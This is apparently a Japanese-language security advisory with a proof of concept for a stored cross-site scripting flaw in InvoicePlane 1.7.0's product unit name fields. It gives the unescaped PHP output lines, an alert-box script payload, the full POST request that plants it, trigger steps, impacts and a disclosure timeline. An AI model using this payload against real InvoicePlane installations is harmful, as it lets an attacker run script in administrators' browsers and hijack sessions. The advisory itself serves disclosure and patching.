
InvoicePlane 1.7.0の製品単位名フィールドを介した格納型XSS脆弱性の概念実証。脆弱なコードの場所と再現手順を含む。
脆弱性: 製品単位名フィールドを介した格納型クロスサイトスクリプティング(XSS)
製品: InvoicePlane
影響を受けるバージョン: 1.7.0(およびそれ以前のバージョンと思われる)
深刻度: 中
CVSS 3.1 スコア: 4.8(CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: ウェブページ生成時の入力の不適切な無害化
発見者: Leonidas Agathos
報告日: 2026-01-31
製品単位フォーム(/index.php/units/form)の unit_name および unit_name_plrl フィールドは、サニタイズなしで任意の入力を受け入れます。これらの値は保存され、悪意のある単位を使用する製品を含む請求書を表示すると、請求書の品目リストにエンコードされずにレンダリングされます。
影響を受けるファイル:
application/modules/invoices/views/partial_itemlist_table.php:127application/modules/invoices/views/partial_itemlist_responsive.php:71// partial_itemlist_table.php - Line 127
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
// partial_itemlist_responsive.php - Line 71
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
ステップ 1 — 単位名にペイロードを注入
/index.php/units/form に移動し、単位名として以下を送信します:
<script>alert("XSS in Product Unit")</script>
リクエスト:
POST /index.php/units/form/1 HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=1&unit_name=%3Cscript%3Ealert%28%22XSS+in+Product+Unit%22%29%3C%2Fscript%3E&unit_name_plrl=tests

ステップ 2 — XSS をトリガー
/index.php/products/form/1 に移動するか、その製品を含む請求書を表示する品目リストがレンダリングされるとペイロードが実行されます。

ペイロードは、悪意のある単位を含む請求書または製品ページを表示する管理者のブラウザで実行されます。これにより、セッションハイジャック(Cookie が HttpOnly でない場合)、CSRF トークンの窃取、および被害者の ID の下での操作が可能になります。
| 日付 | イベント |
|---|---|
| 2026-01-30 | 脆弱性を発見 |
| 2026-01-31 | 概念実証を開発 |
| 2026-01-31 | ベンダーに通知 |
| 2026-02-04 | ベンダーが確認 |
| 2026-02-04 | パッチをリリース |
| 2026-02-05 | 公開開示 |
この脆弱性は、独立したセキュリティ研究の過程で発見されました。すべての情報は、ベンダーおよびセキュリティコミュニティが問題を理解し修正するのを支援することを目的として、教育、研究、および防御目的でのみ提供されています。この情報の悪意のある使用は固く禁じられています。